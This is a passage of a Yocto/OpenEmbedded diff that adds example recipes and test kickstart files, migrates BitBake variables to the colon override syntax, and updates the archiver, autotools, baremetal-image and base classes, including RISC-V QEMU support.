+bootloader --ptable gpt --timeout=1 --append="rootfstype=ext4 console=ttyS0,115200 console=tty0 ${OVERLAYFS_INIT_OPTION}"
diff --git a/meta-selftest/wic/test_efi_plugin.wks b/meta-selftest/wic/test_efi_plugin.wks
new file mode 100644
index 0000000000..1603d6c4bb
--- /dev/null
+++ b/meta-selftest/wic/test_efi_plugin.wks
@@ -0,0 +1,6 @@
+# short-description: This file is used in oe-selftest wic module to test efi plugin
+
+part /boot --source bootimg-efi --sourceparams="loader=systemd-boot,create-unified-kernel-image=true,initrd=${INITRAMFS_IMAGE}-${MACHINE}.${INITRAMFS_FSTYPES}" --active --align 1024 --use-uuid
+part / --source rootfs --fstype=ext4 --align 1024 --use-uuid
+
+bootloader --timeout=0 --append="console=ttyS0,115200n8"
diff --git a/meta-selftest/wic/test_empty_plugin.wks b/meta-selftest/wic/test_empty_plugin.wks
new file mode 100644
index 0000000000..4e91e04e19
--- /dev/null
+++ b/meta-selftest/wic/test_empty_plugin.wks
@@ -0,0 +1,4 @@
+# short-description: image for checking empty partition creation
+
+part / --source rootfs --fstype=ext4 --align 1024 --use-uuid
+part empty --source empty --ondisk sda --size 1024 --align 1024
diff --git a/meta-skeleton/README.skeleton b/meta-skeleton/README.skeleton
new file mode 100644
index 0000000000..35503c1f7d
--- /dev/null
+++ b/meta-skeleton/README.skeleton
@@ -0,0 +1,4 @@
+meta-skeleton
+=============
+
+The meta-skeleton layer contains example recipes and configuration files.
diff --git a/meta-skeleton/conf/layer.conf b/meta-skeleton/conf/layer.conf
index cea5c74f8b..1cb0ca1f30 100644
--- a/meta-skeleton/conf/layer.conf
+++ b/meta-skeleton/conf/layer.conf
@@ -14,4 +14,4 @@ LAYERVERSION_skeleton = "1"
LAYERDEPENDS_skeleton = "core"
-LAYERSERIES_COMPAT_skeleton = "gatesgarth"
+LAYERSERIES_COMPAT_skeleton = "honister"
diff --git a/meta-skeleton/conf/multilib-example.conf b/meta-skeleton/conf/multilib-example.conf
index da6da7f1f6..07fd7b6ce4 100644
--- a/meta-skeleton/conf/multilib-example.conf
+++ b/meta-skeleton/conf/multilib-example.conf
@@ -10,4 +10,4 @@
MACHINE = "qemux86-64"
require conf/multilib.conf
MULTILIBS = "multilib:lib32"
-DEFAULTTUNE_virtclass-multilib-lib32 = "x86"
+DEFAULTTUNE:virtclass-multilib-lib32 = "x86"
diff --git a/meta-skeleton/conf/multilib-example2.conf b/meta-skeleton/conf/multilib-example2.conf
index 2596f61d9f..39f385fcca 100644
--- a/meta-skeleton/conf/multilib-example2.conf
+++ b/meta-skeleton/conf/multilib-example2.conf
@@ -10,4 +10,4 @@
MACHINE = "qemux86-64"
require conf/multilib.conf
MULTILIBS = "multilib:libx32"
-DEFAULTTUNE_virtclass-multilib-libx32 = "x86-64-x32"
+DEFAULTTUNE:virtclass-multilib-libx32 = "x86-64-x32"
diff --git a/meta-skeleton/recipes-baremetal/baremetal-examples/baremetal-helloworld_git.bb b/meta-skeleton/recipes-baremetal/baremetal-examples/baremetal-helloworld_git.bb
index 946a12d0a5..d11e2e530e 100644
--- a/meta-skeleton/recipes-baremetal/baremetal-examples/baremetal-helloworld_git.bb
+++ b/meta-skeleton/recipes-baremetal/baremetal-examples/baremetal-helloworld_git.bb
@@ -1,9 +1,10 @@
SUMMARY = "Baremetal examples to work with the several QEMU architectures supported on OpenEmbedded"
HOMEPAGE = "https://github.com/aehs29/baremetal-helloqemu"
+DESCRIPTION = "These are introductory examples to showcase the use of QEMU to run baremetal applications."
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=39346640a23c701e4f459e05f56f4449"
-SRCREV = "99f4fa4a3b266b42b52af302610b0f4f429ba5e3"
+SRCREV = "31b4e5a337018b4a00a7426b0e5ed83b81df30c7"
PV = "0.1+git${SRCPV}"
SRC_URI = "git://github.com/aehs29/baremetal-helloqemu.git;protocol=https;branch=master"
@@ -27,14 +28,16 @@ inherit baremetal-image
# machine that QEMU uses on OE, e.g. -machine virt -cpu cortex-a57
# but the examples can also be run on other architectures/machines
# such as vexpress-a15 by overriding the setting on the machine.conf
-COMPATIBLE_MACHINE = "qemuarmv5|qemuarm|qemuarm64"
+COMPATIBLE_MACHINE = "qemuarmv5|qemuarm|qemuarm64|qemuriscv64|qemuriscv32"
BAREMETAL_QEMUARCH ?= ""
-BAREMETAL_QEMUARCH_qemuarmv5 = "versatile"
-BAREMETAL_QEMUARCH_qemuarm = "arm"
-BAREMETAL_QEMUARCH_qemuarm64 = "aarch64"
+BAREMETAL_QEMUARCH:qemuarmv5 = "versatile"
+BAREMETAL_QEMUARCH:qemuarm = "arm"
+BAREMETAL_QEMUARCH:qemuarm64 = "aarch64"
+BAREMETAL_QEMUARCH:qemuriscv64 = "riscv64"
+BAREMETAL_QEMUARCH:qemuriscv32 = "riscv32"
-EXTRA_OEMAKE_append = " QEMUARCH=${BAREMETAL_QEMUARCH} V=1"
+EXTRA_OEMAKE:append = " QEMUARCH=${BAREMETAL_QEMUARCH} V=1"
# Install binaries on the proper location for baremetal-image to fetch and deploy
@@ -44,7 +47,7 @@ do_install(){
install -m 755 ${B}/build/hello_baremetal_${BAREMETAL_QEMUARCH}.elf ${D}/${base_libdir}/firmware/${BAREMETAL_BINNAME}.elf
}
-FILES_${PN} += " \
+FILES:${PN} += " \
${base_libdir}/firmware/${BAREMETAL_BINNAME}.bin \
${base_libdir}/firmware/${BAREMETAL_BINNAME}.elf \
"
diff --git a/meta-skeleton/recipes-core/busybox/busybox_%.bbappend b/meta-skeleton/recipes-core/busybox/busybox_%.bbappend
index 64cdefc76d..3c936eb713 100644
--- a/meta-skeleton/recipes-core/busybox/busybox_%.bbappend
+++ b/meta-skeleton/recipes-core/busybox/busybox_%.bbappend
@@ -2,11 +2,12 @@
# mechanism as the linux-yocto kernel recipe.
#
# The entries here will override any entries in the base busybox recipe
+# when DISTRO = "mydistro" is defined in your conf/local.conf file.
#
# More details can be found in the Kernel Dev Manual
# http://www.yoctoproject.org/docs/current/kernel-dev/kernel-dev.html#changing-the-configuration
-FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"
+FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"
-SRC_URI += " \
+SRC_URI:append:mydistro = " \
file://no_rfkill.cfg \
"
diff --git a/meta-skeleton/recipes-kernel/hello-mod/files/hello.c b/meta-skeleton/recipes-kernel/hello-mod/files/hello.c
index f3c0d372eb..6b73a79524 100644
--- a/meta-skeleton/recipes-kernel/hello-mod/files/hello.c
+++ b/meta-skeleton/recipes-kernel/hello-mod/files/hello.c
@@ -19,15 +19,17 @@
#include <linux/module.h>
-int init_module(void)
+static int __init hello_init(void)
{
- printk("Hello World!\n");
+ pr_info("Hello World!\n");
return 0;
}
-void cleanup_module(void)
+static void __exit hello_exit(void)
{
- printk("Goodbye Cruel World!\n");
+ pr_info("Goodbye Cruel World!\n");
}
+module_init(hello_init);
+module_exit(hello_exit);
MODULE_LICENSE("GPL");
diff --git a/meta-skeleton/recipes-kernel/hello-mod/hello-mod_0.1.bb b/meta-skeleton/recipes-kernel/hello-mod/hello-mod_0.1.bb
index 3d33446500..4a84a9fad8 100644
--- a/meta-skeleton/recipes-kernel/hello-mod/hello-mod_0.1.bb
+++ b/meta-skeleton/recipes-kernel/hello-mod/hello-mod_0.1.bb
@@ -1,4 +1,5 @@
SUMMARY = "Example of how to build an external Linux kernel module"
+DESCRIPTION = "${SUMMARY}"
LICENSE = "GPLv2"
LIC_FILES_CHKSUM = "file://COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e"
@@ -14,4 +15,4 @@ S = "${WORKDIR}"
# The inherit of module.bbclass will automatically name module packages with
# "kernel-module-" prefix as required by the oe-core build environment.
-RPROVIDES_${PN} += "kernel-module-hello"
+RPROVIDES:${PN} += "kernel-module-hello"
diff --git a/meta-skeleton/recipes-kernel/linux/linux-yocto-custom.bb b/meta-skeleton/recipes-kernel/linux/linux-yocto-custom.bb
index 6194d4f8da..6062f8422c 100644
--- a/meta-skeleton/recipes-kernel/linux/linux-yocto-custom.bb
+++ b/meta-skeleton/recipes-kernel/linux/linux-yocto-custom.bb
@@ -1,6 +1,6 @@
+SUMMARY = "An example kernel recipe that uses the linux-yocto and oe-core"
# linux-yocto-custom.bb:
#
-# An example kernel recipe that uses the linux-yocto and oe-core
# kernel classes to apply a subset of yocto kernel management to git
# managed kernel repositories.
#
@@ -57,7 +57,7 @@ require recipes-kernel/linux/linux-yocto.inc
SRC_URI = "git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git;protocol=git;nocheckout=1;name=machine"
LINUX_VERSION ?= "4.2"
-LINUX_VERSION_EXTENSION_append = "-custom"
+LINUX_VERSION_EXTENSION:append = "-custom"
# Modify SRCREV to a different commit hash in a copy of this recipe to
# build a different release of the Linux kernel.
diff --git a/meta-skeleton/recipes-multilib/images/core-image-multilib-example.bb b/meta-skeleton/recipes-multilib/images/core-image-multilib-example.bb
index f13186f933..1290968b9d 100644
--- a/meta-skeleton/recipes-multilib/images/core-image-multilib-example.bb
+++ b/meta-skeleton/recipes-multilib/images/core-image-multilib-example.bb
@@ -1,5 +1,4 @@
-#
-# An example of a multilib image
+SUMMARY = "An example of a multilib image"
#
# This example includes a lib32 version of bash into an otherwise standard
# sato image. It assumes a "lib32" multilib has been enabled in the user's
@@ -7,7 +6,7 @@
#
# First include a base image to base things off
-require recipes-sato/images/core-image-sato.bb
+require recipes-graphics/images/core-image-weston.bb
# Now add the multilib packages we want to install
IMAGE_INSTALL += "lib32-bash"
diff --git a/meta-skeleton/recipes-skeleton/hello-autotools/hello_2.10.bb b/meta-skeleton/recipes-skeleton/hello-autotools/hello_2.10.bb
new file mode 100644
index 0000000000..aa2beb9a9b
--- /dev/null
+++ b/meta-skeleton/recipes-skeleton/hello-autotools/hello_2.10.bb
@@ -0,0 +1,9 @@
+DESCRIPTION = "GNU Helloworld application"
+SECTION = "examples"
+LICENSE = "GPLv3"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+SRC_URI = "${GNU_MIRROR}/hello/hello-${PV}.tar.gz"
+SRC_URI[sha256sum] = "31e066137a962676e89f69d1b65382de95a7ef7d914b8cb956f41ea72e0f516b"
+
+inherit autotools-brokensep gettext
diff --git a/meta-skeleton/recipes-skeleton/hello-single/files/helloworld.c b/meta-skeleton/recipes-skeleton/hello-single/files/helloworld.c
new file mode 100644
index 0000000000..fc7169b7b8
--- /dev/null
+++ b/meta-skeleton/recipes-skeleton/hello-single/files/helloworld.c
@@ -0,0 +1,8 @@
+#include <stdio.h>
+
+int main(void)
+{
+ printf("Hello world!\n");
+
+ return 0;
+}
diff --git a/meta-skeleton/recipes-skeleton/hello-single/hello_1.0.bb b/meta-skeleton/recipes-skeleton/hello-single/hello_1.0.bb
new file mode 100644
index 0000000000..90d3aefd86
--- /dev/null
+++ b/meta-skeleton/recipes-skeleton/hello-single/hello_1.0.bb
@@ -0,0 +1,17 @@
+DESCRIPTION = "Simple helloworld application"
+SECTION = "examples"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+SRC_URI = "file://helloworld.c"
+
+S = "${WORKDIR}"
+
+do_compile() {
+ ${CC} ${LDFLAGS} helloworld.c -o helloworld
+}
+
+do_install() {
+ install -d ${D}${bindir}
+ install -m 0755 helloworld ${D}${bindir}
+}
diff --git a/meta-skeleton/recipes-skeleton/libxpm/libxpm_3.5.6.bb b/meta-skeleton/recipes-skeleton/libxpm/libxpm_3.5.6.bb
new file mode 100644
index 0000000000..a1ad2e87d4
--- /dev/null
+++ b/meta-skeleton/recipes-skeleton/libxpm/libxpm_3.5.6.bb
@@ -0,0 +1,14 @@
+require recipes-graphics/xorg-lib/xorg-lib-common.inc
+
+DESCRIPTION = "X11 Pixmap library"
+LICENSE = "X-BSD"
+LIC_FILES_CHKSUM = "file://COPYING;md5=3e07763d16963c3af12db271a31abaa5"
+DEPENDS += "libxext"
+PR = "r2"
+PE = "1"
+
+XORG_PN = "libXpm"
+
+PACKAGES =+ "sxpm cxpm"
+FILES:cxpm = "${bindir}/cxpm"
+FILES:sxpm = "${bindir}/sxpm"
diff --git a/meta-skeleton/recipes-skeleton/service/service_0.1.bb b/meta-skeleton/recipes-skeleton/service/service_0.1.bb
index 6416618dcb..2c048aa050 100644
--- a/meta-skeleton/recipes-skeleton/service/service_0.1.bb
+++ b/meta-skeleton/recipes-skeleton/service/service_0.1.bb
@@ -1,5 +1,6 @@
SUMMARY = "The canonical example of init scripts"
SECTION = "base"
+DESCRIPTION = "This recipe is a canonical example of init scripts"
LICENSE = "GPLv2"
LIC_FILES_CHKSUM = "file://${WORKDIR}/COPYRIGHT;md5=349c872e0066155e1818b786938876a4"
@@ -26,6 +27,6 @@ do_install () {
install -m 0755 ${WORKDIR}/skeleton-test ${D}${sbindir}/
}
-RDEPENDS_${PN} = "initscripts"
+RDEPENDS:${PN} = "initscripts"
-CONFFILES_${PN} += "${sysconfdir}/init.d/skeleton"
+CONFFILES:${PN} += "${sysconfdir}/init.d/skeleton"
diff --git a/meta-skeleton/recipes-skeleton/useradd/useradd-example.bb b/meta-skeleton/recipes-skeleton/useradd/useradd-example.bb
index 7c5b9d0503..3f4c42d714 100644
--- a/meta-skeleton/recipes-skeleton/useradd/useradd-example.bb
+++ b/meta-skeleton/recipes-skeleton/useradd/useradd-example.bb
@@ -30,19 +30,19 @@ USERADD_PACKAGES = "${PN} ${PN}-user3"
# useradd command. Multiple users can be created by separating
# the commands with a semicolon. Here we'll create two users,
# user1 and user2:
-USERADD_PARAM_${PN} = "-u 1200 -d /home/user1 -r -s /bin/bash user1; -u 1201 -d /home/user2 -r -s /bin/bash user2"
+USERADD_PARAM:${PN} = "-u 1200 -d /home/user1 -r -s /bin/bash user1; -u 1201 -d /home/user2 -r -s /bin/bash user2"
# user3 will be managed in the useradd-example-user3 pacakge:
# As an example, we use the -P option to set clear text password for user3
-USERADD_PARAM_${PN}-user3 = "-u 1202 -d /home/user3 -r -s /bin/bash -P 'user3' user3"
+USERADD_PARAM:${PN}-user3 = "-u 1202 -d /home/user3 -r -s /bin/bash -P 'user3' user3"
# GROUPADD_PARAM works the same way, which you set to the options
# you'd normally pass to the groupadd command. This will create
# groups group1 and group2:
-GROUPADD_PARAM_${PN} = "-g 880 group1; -g 890 group2"
+GROUPADD_PARAM:${PN} = "-g 880 group1; -g 890 group2"
# Likewise, we'll manage group3 in the useradd-example-user3 package:
-GROUPADD_PARAM_${PN}-user3 = "-g 900 group3"
+GROUPADD_PARAM:${PN}-user3 = "-g 900 group3"
do_install () {
install -d -m 755 ${D}${datadir}/user1
@@ -69,8 +69,8 @@ do_install () {
chgrp -R group3 ${D}${datadir}/user3
}
-FILES_${PN} = "${datadir}/user1/* ${datadir}/user2/*"
-FILES_${PN}-user3 = "${datadir}/user3/*"
+FILES:${PN} = "${datadir}/user1/* ${datadir}/user2/*"
+FILES:${PN}-user3 = "${datadir}/user3/*"
# Prevents do_package failures with:
# debugsources.list: No such file or directory:
diff --git a/meta/classes/archiver.bbclass b/meta/classes/archiver.bbclass
index 598298ef6f..549f3311e4 100644
--- a/meta/classes/archiver.bbclass
+++ b/meta/classes/archiver.bbclass
@@ -51,6 +51,7 @@ ARCHIVER_MODE[diff-exclude] ?= ".pc autom4te.cache patches"
ARCHIVER_MODE[dumpdata] ?= "0"
ARCHIVER_MODE[recipe] ?= "0"
ARCHIVER_MODE[mirror] ?= "split"
+ARCHIVER_MODE[compression] ?= "xz"
DEPLOY_DIR_SRC ?= "${DEPLOY_DIR}/sources"
ARCHIVER_TOPDIR ?= "${WORKDIR}/archiver-sources"
@@ -118,7 +119,7 @@ python () {
d.appendVarFlag('do_deploy_archives', 'depends', ' %s:do_ar_patched' % pn)
elif ar_src == "configured":
# We can't use "addtask do_ar_configured after do_configure" since it
- # will cause the deptask of do_populate_sysroot to run not matter what
+ # will cause the deptask of do_populate_sysroot to run no matter what
# archives we need, so we add the depends here.
# There is a corner case with "gcc-source-${PV}" recipes, they don't have
@@ -163,7 +164,7 @@ python () {
d.appendVarFlag('do_package_write_rpm', 'depends', ' %s:do_ar_configured' % pn)
}
-# Take all the sources for a recipe and puts them in WORKDIR/archiver-work/.
+# Take all the sources for a recipe and put them in WORKDIR/archiver-work/.
# Files in SRC_URI are copied directly, anything that's a directory
# (e.g. git repositories) is "unpacked" and then put into a tarball.
python do_ar_original() {
@@ -281,7 +282,10 @@ python do_ar_configured() {
# ${STAGING_DATADIR}/aclocal/libtool.m4, so we can't re-run the
# do_configure, we archive the already configured ${S} to
# instead of.
- elif pn != 'libtool-native':
+ # The kernel class functions require it to be on work-shared, we
+ # don't unpack, patch, configure again, just archive the already
+ # configured ${S}
+ elif not (pn == 'libtool-native' or is_work_shared(d)):
def runTask(task):
prefuncs = d.getVarFlag(task, 'prefuncs') or ''
for func in prefuncs.split():
@@ -406,15 +410,16 @@ def create_tarball(d, srcdir, suffix, ar_outdir):
# that we archive the actual directory and not just the link.
srcdir = os.path.realpath(srcdir)
+ compression_method = d.getVarFlag('ARCHIVER_MODE', 'compression')
bb.utils.mkdirhier(ar_outdir)
if suffix:
- filename = '%s-%s.tar.gz' % (d.getVar('PF'), suffix)
+ filename = '%s-%s.tar.%s' % (d.getVar('PF'), suffix, compression_method)
else:
- filename = '%s.tar.gz' % d.getVar('PF')
+ filename = '%s.tar.%s' % (d.getVar('PF'), compression_method)
tarname = os.path.join(ar_outdir, filename)
bb.note('Creating %s' % tarname)
- tar = tarfile.open(tarname, 'w:gz')
+ tar = tarfile.open(tarname, 'w:%s' % compression_method)
tar.add(srcdir, arcname=os.path.basename(srcdir), filter=exclude_useless_paths)
tar.close()
@@ -463,7 +468,7 @@ python do_unpack_and_patch() {
ar_sysroot_native = d.getVar('STAGING_DIR_NATIVE')
pn = d.getVar('PN')
- # The kernel class functions require it to be on work-shared, so we dont change WORKDIR
+ # The kernel class functions require it to be on work-shared, so we don't change WORKDIR
if not is_work_shared(d):
# Change the WORKDIR to make do_unpack do_patch run in another dir.
d.setVar('WORKDIR', ar_workdir)
@@ -483,6 +488,9 @@ python do_unpack_and_patch() {
src_orig = '%s.orig' % src
oe.path.copytree(src, src_orig)
+ if bb.data.inherits_class('dos2unix', d):
+ bb.build.exec_func('do_convert_crlf_to_lf', d)
+
# Make sure gcc and kernel sources are patched only once
if not (d.getVar('SRC_URI') == "" or is_work_shared(d)):
bb.build.exec_func('do_patch', d)
@@ -505,7 +513,7 @@ python do_unpack_and_patch() {
# of the output file ensures that we create it each time the recipe
# gets rebuilt, at least as long as a PR server is used. We also rely
# on that mechanism to catch changes in the file content, because the
-# file content is not part of of the task signature either.
+# file content is not part of the task signature either.
do_ar_recipe[vardepsexclude] += "BBINCLUDED"
python do_ar_recipe () {
"""
@@ -590,6 +598,7 @@ addtask do_dumpdata
addtask do_ar_recipe
addtask do_deploy_archives
do_build[recrdeptask] += "do_deploy_archives"
+do_rootfs[recrdeptask] += "do_deploy_archives"
do_populate_sdk[recrdeptask] += "do_deploy_archives"
python () {
diff --git a/meta/classes/autotools.bbclass b/meta/classes/autotools.bbclass
index 2ceb790b5c..4ab2460990 100644
--- a/meta/classes/autotools.bbclass
+++ b/meta/classes/autotools.bbclass
@@ -1,4 +1,4 @@
-def autotools_dep_prepend(d):
+def get_autotools_dep(d):
if d.getVar('INHIBIT_AUTOTOOLS_DEPS'):
return ''
@@ -17,9 +17,10 @@ def autotools_dep_prepend(d):
and not d.getVar('INHIBIT_DEFAULT_DEPS'):
deps += 'libtool-cross '
- return deps + 'gnu-config-native '
+ return deps
-DEPENDS_prepend = "${@autotools_dep_prepend(d)} "
+
+DEPENDS:prepend = "${@get_autotools_dep(d)} "
inherit siteinfo
@@ -30,7 +31,7 @@ inherit siteinfo
export CONFIG_SITE
acpaths ?= "default"
-EXTRA_AUTORECONF = "--exclude=autopoint"
+EXTRA_AUTORECONF = "--exclude=autopoint --exclude=gtkdocize"
export lt_cv_sys_lib_dlsearch_path_spec = "${libdir} ${base_libdir}"
@@ -131,7 +132,7 @@ autotools_postconfigure(){
EXTRACONFFUNCS ??= ""
-EXTRA_OECONF_append = " ${PACKAGECONFIG_CONFARGS}"
+EXTRA_OECONF:append = " ${PACKAGECONFIG_CONFARGS}"
do_configure[prefuncs] += "autotools_preconfigure autotools_aclocals ${EXTRACONFFUNCS}"
do_compile[prefuncs] += "autotools_aclocals"
@@ -140,13 +141,16 @@ do_configure[postfuncs] += "autotools_postconfigure"
ACLOCALDIR = "${STAGING_DATADIR}/aclocal"
ACLOCALEXTRAPATH = ""
-ACLOCALEXTRAPATH_class-target = " -I ${STAGING_DATADIR_NATIVE}/aclocal/"
-ACLOCALEXTRAPATH_class-nativesdk = " -I ${STAGING_DATADIR_NATIVE}/aclocal/"
+ACLOCALEXTRAPATH:class-target = " -I ${STAGING_DATADIR_NATIVE}/aclocal/"
+ACLOCALEXTRAPATH:class-nativesdk = " -I ${STAGING_DATADIR_NATIVE}/aclocal/"
python autotools_aclocals () {
- d.setVar("CONFIG_SITE", siteinfo_get_files(d, sysrootcache=True))
+ sitefiles, searched = siteinfo_get_files(d, sysrootcache=True)
+ d.setVar("CONFIG_SITE", " ".join(sitefiles))
}
+do_configure[file-checksums] += "${@' '.join(siteinfo_get_files(d, sysrootcache=False)[1])}"
+
CONFIGURE_FILES = "${S}/configure.in ${S}/configure.ac ${S}/config.h.in ${S}/acinclude.m4 Makefile.am"
autotools_do_configure() {
@@ -215,21 +219,13 @@ autotools_do_configure() {
PRUNE_M4="$PRUNE_M4 gettext.m4 iconv.m4 lib-ld.m4 lib-link.m4 lib-prefix.m4 nls.m4 po.m4 progtest.m4"
fi
mkdir -p m4
- if grep -q "^[[:space:]]*[AI][CT]_PROG_INTLTOOL" $CONFIGURE_AC; then
- if ! echo "${DEPENDS}" | grep -q intltool-native; then
- bbwarn "Missing DEPENDS on intltool-native"
- fi
- PRUNE_M4="$PRUNE_M4 intltool.m4"
- bbnote Executing intltoolize --copy --force --automake
- intltoolize --copy --force --automake
- fi
for i in $PRUNE_M4; do
find ${S} -ignore_readdir_race -name $i -delete
done
bbnote Executing ACLOCAL=\"$ACLOCAL\" autoreconf -Wcross --verbose --install --force ${EXTRA_AUTORECONF} $acpaths
- ACLOCAL="$ACLOCAL" autoreconf -Wcross --verbose --install --force ${EXTRA_AUTORECONF} $acpaths || die "autoreconf execution failed."
+ ACLOCAL="$ACLOCAL" autoreconf -Wcross -Wno-obsolete --verbose --install --force ${EXTRA_AUTORECONF} $acpaths || die "autoreconf execution failed."
cd $olddir
fi
if [ -e ${CONFIGURE_SCRIPT} ]; then
diff --git a/meta/classes/baremetal-image.bbclass b/meta/classes/baremetal-image.bbclass
index 90d58f2615..81f5e5e93d 100644
--- a/meta/classes/baremetal-image.bbclass
+++ b/meta/classes/baremetal-image.bbclass
@@ -12,8 +12,8 @@
# Toolchain should be baremetal or newlib based.
# TCLIBC="baremetal" or TCLIBC="newlib"
-COMPATIBLE_HOST_libc-musl_class-target = "null"
-COMPATIBLE_HOST_libc-glibc_class-target = "null"
+COMPATIBLE_HOST:libc-musl:class-target = "null"
+COMPATIBLE_HOST:libc-glibc:class-target = "null"
inherit rootfs-postcommands
@@ -50,15 +50,18 @@ python do_rootfs(){
if os.path.lexists(manifest_link):
os.remove(manifest_link)
os.symlink(os.path.basename(manifest_name), manifest_link)
+ # A lot of postprocess commands assume the existence of rootfs/etc
+ sysconfdir = d.getVar("IMAGE_ROOTFS") + d.getVar('sysconfdir')
+ bb.utils.mkdirhier(sysconfdir)
+
execute_pre_post_process(d, d.getVar('ROOTFS_POSTPROCESS_COMMAND'))
}
# Assure binaries, manifest and qemubootconf are populated on DEPLOY_DIR_IMAGE
do_image_complete[dirs] = "${TOPDIR}"
-do_image_complete[umask] = "022"
SSTATETASKS += "do_image_complete"
-SSTATE_SKIP_CREATION_task-image-complete = '1'
+SSTATE_SKIP_CREATION:task-image-complete = '1'
do_image_complete[sstate-inputdirs] = "${IMGDEPLOYDIR}"
do_image_complete[sstate-outputdirs] = "${DEPLOY_DIR_IMAGE}"
do_image_complete[stamp-extra-info] = "${MACHINE_ARCH}"
@@ -74,7 +77,22 @@ QB_DEFAULT_KERNEL ?= "${IMAGE_LINK_NAME}.bin"
QB_MEM ?= "-m 256"
QB_DEFAULT_FSTYPE ?= "bin"
QB_DTB ?= ""
-QB_OPT_APPEND = "-nographic"
+QB_OPT_APPEND:append = " -nographic"
+
+# RISC-V tunes set the BIOS, unset, and instruct QEMU to
+# ignore the BIOS and boot from -kernel
+QB_DEFAULT_BIOS:qemuriscv64 = ""
+QB_DEFAULT_BIOS:qemuriscv32 = ""
+QB_OPT_APPEND:append:qemuriscv64 = " -bios none"
+QB_OPT_APPEND:append:qemuriscv32 = " -bios none"
+
+
+# Use the medium-any code model for the RISC-V 64 bit implementation,
+# since medlow can only access addresses below 0x80000000 and RAM
+# starts at 0x80000000 on RISC-V 64
+# Keep RISC-V 32 using -mcmodel=medlow (symbols lie between -2GB:2GB)
+CFLAGS:append:qemuriscv64 = " -mcmodel=medany"
+
# This next part is necessary to trick the build system into thinking
# its building an image recipe so it generates the qemuboot.conf
@@ -87,13 +105,17 @@ inherit qemuboot
python(){
# do_addto_recipe_sysroot doesnt exist for all recipes, but we need it to have
# /usr/bin on recipe-sysroot (qemu) populated
+ # The do_addto_recipe_sysroot dependency is coming from EXTRA_IMAGDEPENDS now,
+ # we just need to add the logic to add its dependency to do_image.
def extraimage_getdepends(task):
deps = ""
for dep in (d.getVar('EXTRA_IMAGEDEPENDS') or "").split():
# Make sure we only add it for qemu
if 'qemu' in dep:
- deps += " %s:%s" % (dep, task)
+ if ":" in dep:
+ deps += " %s " % (dep)
+ else:
+ deps += " %s:%s" % (dep, task)
return deps
- d.appendVarFlag('do_image', 'depends', extraimage_getdepends('do_addto_recipe_sysroot'))
- d.appendVarFlag('do_image', 'depends', extraimage_getdepends('do_populate_sysroot'))
+ d.appendVarFlag('do_image', 'depends', extraimage_getdepends('do_populate_sysroot'))
}
diff --git a/meta/classes/base.bbclass b/meta/classes/base.bbclass
index 78ae28bb0f..b709777f24 100644
--- a/meta/classes/base.bbclass
+++ b/meta/classes/base.bbclass
@@ -12,7 +12,7 @@ inherit logging
OE_EXTRA_IMPORTS ?= ""
-OE_IMPORTS += "os sys time oe.path oe.utils oe.types oe.package oe.packagegroup oe.sstatesig oe.lsb oe.cachedpath oe.license ${OE_EXTRA_IMPORTS}"
+OE_IMPORTS += "os sys time oe.path oe.utils oe.types oe.package oe.packagegroup oe.sstatesig oe.lsb oe.cachedpath oe.license oe.qa oe.reproducible ${OE_EXTRA_IMPORTS}"
OE_IMPORTS[type] = "list"
PACKAGECONFIG_CONFARGS ??= ""
@@ -66,7 +66,7 @@ oe_runmake() {
}
-def base_dep_prepend(d):
+def get_base_dep(d):
if d.getVar('INHIBIT_DEFAULT_DEPS', False):
return ""
return "${BASE_DEFAULT_DEPS}"
@@ -74,10 +74,10 @@ def base_dep_prepend(d):
BASE_DEFAULT_DEPS = "virtual/${TARGET_PREFIX}gcc virtual/${TARGET_PREFIX}compilerlibs virtual/libc"
BASEDEPENDS = ""
-BASEDEPENDS_class-target = "${@base_dep_prepend(d)}"
-BASEDEPENDS_class-nativesdk = "${@base_dep_prepend(d)}"
+BASEDEPENDS:class-target = "${@get_base_dep(d)}"
+BASEDEPENDS:class-nativesdk = "${@get_base_dep(d)}"
-DEPENDS_prepend="${BASEDEPENDS} "
+DEPENDS:prepend="${BASEDEPENDS} "
FILESPATH = "${@base_set_filespath(["${FILE_DIRNAME}/${BP}", "${FILE_DIRNAME}/${BPN}", "${FILE_DIRNAME}/files"], d)}"
# THISDIR only works properly with imediate expansion as it has to run
@@ -91,7 +91,7 @@ def extra_path_elements(d):
path = path + "${STAGING_BINDIR_NATIVE}/" + e + ":"
return path
-PATH_prepend = "${@extra_path_elements(d)}"
+PATH:prepend = "${@extra_path_elements(d)}"
def get_lic_checksum_file_list(d):
filelist = []
@@ -153,14 +153,14 @@ do_fetch[vardeps] += "SRCREV"
python base_do_fetch() {
src_uri = (d.getVar('SRC_URI') or "").split()
- if len(src_uri) == 0:
+ if not src_uri:
return
try:
fetcher = bb.fetch2.Fetch(src_uri, d)
fetcher.download()
except bb.fetch2.BBFetchException as e:
- bb.fatal(str(e))
+ bb.fatal("Bitbake Fetcher Error: " + repr(e))
}
addtask unpack after do_fetch
@@ -170,16 +170,54 @@ do_unpack[cleandirs] = "${@d.getVar('S') if os.path.normpath(d.getVar('S')) != o
python base_do_unpack() {
src_uri = (d.getVar('SRC_URI') or "").split()
- if len(src_uri) == 0:
+ if not src_uri:
return
try:
fetcher = bb.fetch2.Fetch(src_uri, d)
fetcher.unpack(d.getVar('WORKDIR'))
except bb.fetch2.BBFetchException as e:
- bb.fatal(str(e))
+ bb.fatal("Bitbake Fetcher Error: " + repr(e))
+}
+
+SSTATETASKS += "do_deploy_source_date_epoch"
+
+do_deploy_source_date_epoch () {
+ mkdir -p ${SDE_DEPLOYDIR}
+ if [ -e ${SDE_FILE} ]; then
+ echo "Deploying SDE from ${SDE_FILE} -> ${SDE_DEPLOYDIR}."
+ cp -p ${SDE_FILE} ${SDE_DEPLOYDIR}/__source_date_epoch.txt
+ else
+ echo "${SDE_FILE} not found!"
+ fi
+}
+
+python do_deploy_source_date_epoch_setscene () {
+ sstate_setscene(d)
+ bb.utils.mkdirhier(d.getVar('SDE_DIR'))
